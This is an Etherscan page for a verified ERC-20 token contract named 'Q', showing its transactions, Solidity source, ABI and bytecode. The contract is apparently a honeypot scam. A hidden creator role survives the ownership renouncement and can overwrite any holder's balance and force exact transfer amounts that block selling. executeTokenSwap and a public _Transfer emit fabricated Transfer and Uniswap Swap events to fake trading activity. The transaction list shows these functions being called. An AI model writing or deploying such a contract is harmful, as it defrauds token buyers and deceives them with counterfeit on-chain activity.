ETH Price: $2,025.09 (-1.85%)

Contract

0x738D6119ED0E0c619496519445005d031f9B7e00
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve180541302023-09-03 6:17:47571 days ago1693721867IN
0x738D6119...31f9B7e00
0 ETH0.0002625510.85083726
Approve175689282023-06-27 6:26:59639 days ago1687847219IN
0x738D6119...31f9B7e00
0 ETH0.0006640314.30455551
Approve175689012023-06-27 6:21:35639 days ago1687846895IN
0x738D6119...31f9B7e00
0 ETH0.0008102817.43267705
Execute Token Sw...175688942023-06-27 6:20:11639 days ago1687846811IN
0x738D6119...31f9B7e00
0 ETH0.0004705712.46828746
Execute Token Sw...175688862023-06-27 6:18:35639 days ago1687846715IN
0x738D6119...31f9B7e00
0 ETH0.0004710712.50517694
Approve175688392023-06-27 6:09:11639 days ago1687846151IN
0x738D6119...31f9B7e00
0 ETH0.0005443611.72661719
Approve175688182023-06-27 6:04:47639 days ago1687845887IN
0x738D6119...31f9B7e00
0 ETH0.0005849712.60160702
Execute Token Sw...175688042023-06-27 6:01:59639 days ago1687845719IN
0x738D6119...31f9B7e00
0 ETH0.0047740512.44221342
Execute Token Sw...175687962023-06-27 6:00:23639 days ago1687845623IN
0x738D6119...31f9B7e00
0 ETH0.000481712.78751385
Approve175687882023-06-27 5:58:47639 days ago1687845527IN
0x738D6119...31f9B7e00
0 ETH0.0005393111.61784929
Execute Token Sw...175687412023-06-27 5:49:23639 days ago1687844963IN
0x738D6119...31f9B7e00
0 ETH0.0031449212.5537846
Approve175687172023-06-27 5:44:35639 days ago1687844675IN
0x738D6119...31f9B7e00
0 ETH0.0005731612.40475673
Execute Token Sw...175687052023-06-27 5:42:11639 days ago1687844531IN
0x738D6119...31f9B7e00
0 ETH0.0039984311.6330564
Execute Token Sw...175687032023-06-27 5:41:47639 days ago1687844507IN
0x738D6119...31f9B7e00
0 ETH0.0004198712.42194055
Execute Token Sw...175686882023-06-27 5:38:47639 days ago1687844327IN
0x738D6119...31f9B7e00
0 ETH0.0062920712.43447035
Approve175686852023-06-27 5:38:11639 days ago1687844291IN
0x738D6119...31f9B7e00
0 ETH0.0005557212.0399601
Approve175686812023-06-27 5:37:23639 days ago1687844243IN
0x738D6119...31f9B7e00
0 ETH0.0006084613.16533631
Approve175686662023-06-27 5:34:23639 days ago1687844063IN
0x738D6119...31f9B7e00
0 ETH0.0006964415.07295867
Approve175686612023-06-27 5:33:23639 days ago1687844003IN
0x738D6119...31f9B7e00
0 ETH0.0006127213.19922616
Set Forced Trans...175686562023-06-27 5:32:23639 days ago1687843943IN
0x738D6119...31f9B7e00
0 ETH0.0006278513.33134797
Approve175686422023-06-27 5:29:35639 days ago1687843775IN
0x738D6119...31f9B7e00
0 ETH0.0005806812.56748963
Execute Token Sw...175686382023-06-27 5:28:47639 days ago1687843727IN
0x738D6119...31f9B7e00
0 ETH0.0052182613.99558709
Approve175686302023-06-27 5:27:11639 days ago1687843631IN
0x738D6119...31f9B7e00
0 ETH0.0006421613.91632983
Execute Token Sw...175686282023-06-27 5:26:47639 days ago1687843607IN
0x738D6119...31f9B7e00
0 ETH0.0064623113.5263368
Set Forced Trans...175686222023-06-27 5:25:35639 days ago1687843535IN
0x738D6119...31f9B7e00
0 ETH0.00786555112.34746775
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-27
*/

pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "Q";
    string public constant _ticker = "Q";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca908290a350620000616012600a620001ee565b62000070906298968062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c2906298968062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b6111fe80620002306000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102b4578063cadc24b5146102bc578063d8fb9361146102e5578063dd62ed3e146102f8578063e03504af14610220578063e156b1b61461033157600080fd5b80638e32c0031461027357806395d89b4114610147578063a713fd5314610286578063a9059cbb1461028e578063adacad8c146102a157600080fd5b806328226aa71161010a57806328226aa7146101d5578063313ce567146101fa578063416c3c9d1461020f5780635c01b60c1461022057806370a0823114610240578063715018a61461026957600080fd5b806306fdde0314610147578063095ea7b31461017657806318160ddd146101995780631ae1ffbc146101af57806323b872dd146101c2575b600080fd5b6040805180820190915260018152605160f81b60208201525b60405161016d9190610bb9565b60405180910390f35b610189610184366004610c23565b610344565b604051901515815260200161016d565b6101a16103ac565b60405190815260200161016d565b6101896101bd366004610d85565b6103cc565b6101896101d0366004610e2f565b6105e3565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161016d565b60125b60405160ff909116815260200161016d565b6004546001600160a01b03166101e2565b610160604051806040016040528060018152602001605160f81b81525081565b6101a161024e366004610e6b565b6001600160a01b031660009081526002602052604090205490565b6102716107a3565b005b610271610281366004610e6b565b61081d565b6101fd601281565b61018961029c366004610c23565b610869565b6102716102af366004610e8d565b6109ab565b6101a1610a3e565b6101a16102ca366004610e6b565b6001600160a01b031660009081526003602052604090205490565b6102716102f3366004610f08565b610a5a565b6101a1610306366004610f4d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018961033f366004610e2f565b610b84565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103ba6012600a61107a565b6103c79062989680611089565b905090565b6000805b85518110156105d6578581815181106103eb576103eb6110a0565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111a9833981519152878481518110610427576104276110a0565b602002602001015160405161043e91815260200190565b60405180910390a3858181518110610458576104586110a0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104ba576104ba6110a0565b60200260200101516000808987815181106104d7576104d76110a0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b6878381518110610525576105256110a0565b602002602001015189878581518110610540576105406110a0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801561059f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c391906110b6565b50806105ce816110d8565b9150506103d0565b5060019695505050505050565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561065b5760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106c9578083146106c95760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b6001600160a01b038516600090815260026020526040812080548592906106f19084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061071e908490611104565b90915550506001600160a01b0385166000908152600160209081526040808320338452909152812080548592906107569084906110f1565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111a98339815191528560405161079091815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161065290611117565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161065290611117565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108bf5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610652565b60006108ca336102ca565b90508015610921578083146109215760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b33600090815260026020526040812080548592906109409084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061096d908490611104565b90915550506040518381526001600160a01b0385169033906000805160206111a9833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109d55760405162461bcd60e51b815260040161065290611162565b60005b82811015610a385781600360008686858181106109f7576109f76110a0565b9050602002016020810190610a0c9190610e6b565b6001600160a01b0316815260208101919091526040016000205580610a30816110d8565b9150506109d8565b50505050565b610a4a6012600a61107a565b610a579062989680611089565b81565b6004546001600160a01b03163314610a845760405162461bcd60e51b815260040161065290611162565b60005b8251811015610b7f576000838281518110610aa457610aa46110a0565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b105760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610652565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b77906110d8565b915050610a87565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111a98339815191528460405161099991815260200190565b600060208083528351808285015260005b81811015610be657858101830151858201604001528201610bca565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c1e57600080fd5b919050565b60008060408385031215610c3657600080fd5b610c3f83610c07565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c8c57610c8c610c4d565b604052919050565b600067ffffffffffffffff821115610cae57610cae610c4d565b5060051b60200190565b600082601f830112610cc957600080fd5b81356020610cde610cd983610c94565b610c63565b82815260059290921b84018101918181019086841115610cfd57600080fd5b8286015b84811015610d1f57610d1281610c07565b8352918301918301610d01565b509695505050505050565b600082601f830112610d3b57600080fd5b81356020610d4b610cd983610c94565b82815260059290921b84018101918181019086841115610d6a57600080fd5b8286015b84811015610d1f5780358352918301918301610d6e565b600080600080600060a08688031215610d9d57600080fd5b610da686610c07565b9450602086013567ffffffffffffffff80821115610dc357600080fd5b610dcf89838a01610cb8565b95506040880135915080821115610de557600080fd5b610df189838a01610d2a565b94506060880135915080821115610e0757600080fd5b50610e1488828901610d2a565b925050610e2360808701610c07565b90509295509295909350565b600080600060608486031215610e4457600080fd5b610e4d84610c07565b9250610e5b60208501610c07565b9150604084013590509250925092565b600060208284031215610e7d57600080fd5b610e8682610c07565b9392505050565b600080600060408486031215610ea257600080fd5b833567ffffffffffffffff80821115610eba57600080fd5b818601915086601f830112610ece57600080fd5b813581811115610edd57600080fd5b8760208260051b8501011115610ef257600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f1b57600080fd5b823567ffffffffffffffff811115610f3257600080fd5b610f3e85828601610cb8565b95602094909401359450505050565b60008060408385031215610f6057600080fd5b610f6983610c07565b9150610f7760208401610c07565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd1578160001904821115610fb757610fb7610f80565b80851615610fc457918102915b93841c9390800290610f9b565b509250929050565b600082610fe8575060016103a6565b81610ff5575060006103a6565b816001811461100b576002811461101557611031565b60019150506103a6565b60ff84111561102657611026610f80565b50506001821b6103a6565b5060208310610133831016604e8410600b8410161715611054575081810a6103a6565b61105e8383610f96565b806000190482111561107257611072610f80565b029392505050565b6000610e8660ff841683610fd9565b80820281158282048414176103a6576103a6610f80565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110c857600080fd5b81518015158114610e8657600080fd5b6000600182016110ea576110ea610f80565b5060010190565b818103818111156103a6576103a6610f80565b808201808211156103a6576103a6610f80565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207914330f466ea47b50563d3240fedc1db17ceda57ce0c0fe80bc41128ebbb52264736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102b4578063cadc24b5146102bc578063d8fb9361146102e5578063dd62ed3e146102f8578063e03504af14610220578063e156b1b61461033157600080fd5b80638e32c0031461027357806395d89b4114610147578063a713fd5314610286578063a9059cbb1461028e578063adacad8c146102a157600080fd5b806328226aa71161010a57806328226aa7146101d5578063313ce567146101fa578063416c3c9d1461020f5780635c01b60c1461022057806370a0823114610240578063715018a61461026957600080fd5b806306fdde0314610147578063095ea7b31461017657806318160ddd146101995780631ae1ffbc146101af57806323b872dd146101c2575b600080fd5b6040805180820190915260018152605160f81b60208201525b60405161016d9190610bb9565b60405180910390f35b610189610184366004610c23565b610344565b604051901515815260200161016d565b6101a16103ac565b60405190815260200161016d565b6101896101bd366004610d85565b6103cc565b6101896101d0366004610e2f565b6105e3565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161016d565b60125b60405160ff909116815260200161016d565b6004546001600160a01b03166101e2565b610160604051806040016040528060018152602001605160f81b81525081565b6101a161024e366004610e6b565b6001600160a01b031660009081526002602052604090205490565b6102716107a3565b005b610271610281366004610e6b565b61081d565b6101fd601281565b61018961029c366004610c23565b610869565b6102716102af366004610e8d565b6109ab565b6101a1610a3e565b6101a16102ca366004610e6b565b6001600160a01b031660009081526003602052604090205490565b6102716102f3366004610f08565b610a5a565b6101a1610306366004610f4d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018961033f366004610e2f565b610b84565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103ba6012600a61107a565b6103c79062989680611089565b905090565b6000805b85518110156105d6578581815181106103eb576103eb6110a0565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111a9833981519152878481518110610427576104276110a0565b602002602001015160405161043e91815260200190565b60405180910390a3858181518110610458576104586110a0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104ba576104ba6110a0565b60200260200101516000808987815181106104d7576104d76110a0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b6878381518110610525576105256110a0565b602002602001015189878581518110610540576105406110a0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801561059f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c391906110b6565b50806105ce816110d8565b9150506103d0565b5060019695505050505050565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561065b5760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106c9578083146106c95760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b6001600160a01b038516600090815260026020526040812080548592906106f19084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061071e908490611104565b90915550506001600160a01b0385166000908152600160209081526040808320338452909152812080548592906107569084906110f1565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111a98339815191528560405161079091815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161065290611117565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161065290611117565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108bf5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610652565b60006108ca336102ca565b90508015610921578083146109215760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b33600090815260026020526040812080548592906109409084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061096d908490611104565b90915550506040518381526001600160a01b0385169033906000805160206111a9833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109d55760405162461bcd60e51b815260040161065290611162565b60005b82811015610a385781600360008686858181106109f7576109f76110a0565b9050602002016020810190610a0c9190610e6b565b6001600160a01b0316815260208101919091526040016000205580610a30816110d8565b9150506109d8565b50505050565b610a4a6012600a61107a565b610a579062989680611089565b81565b6004546001600160a01b03163314610a845760405162461bcd60e51b815260040161065290611162565b60005b8251811015610b7f576000838281518110610aa457610aa46110a0565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b105760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610652565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b77906110d8565b915050610a87565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111a98339815191528460405161099991815260200190565b600060208083528351808285015260005b81811015610be657858101830151858201604001528201610bca565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c1e57600080fd5b919050565b60008060408385031215610c3657600080fd5b610c3f83610c07565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c8c57610c8c610c4d565b604052919050565b600067ffffffffffffffff821115610cae57610cae610c4d565b5060051b60200190565b600082601f830112610cc957600080fd5b81356020610cde610cd983610c94565b610c63565b82815260059290921b84018101918181019086841115610cfd57600080fd5b8286015b84811015610d1f57610d1281610c07565b8352918301918301610d01565b509695505050505050565b600082601f830112610d3b57600080fd5b81356020610d4b610cd983610c94565b82815260059290921b84018101918181019086841115610d6a57600080fd5b8286015b84811015610d1f5780358352918301918301610d6e565b600080600080600060a08688031215610d9d57600080fd5b610da686610c07565b9450602086013567ffffffffffffffff80821115610dc357600080fd5b610dcf89838a01610cb8565b95506040880135915080821115610de557600080fd5b610df189838a01610d2a565b94506060880135915080821115610e0757600080fd5b50610e1488828901610d2a565b925050610e2360808701610c07565b905092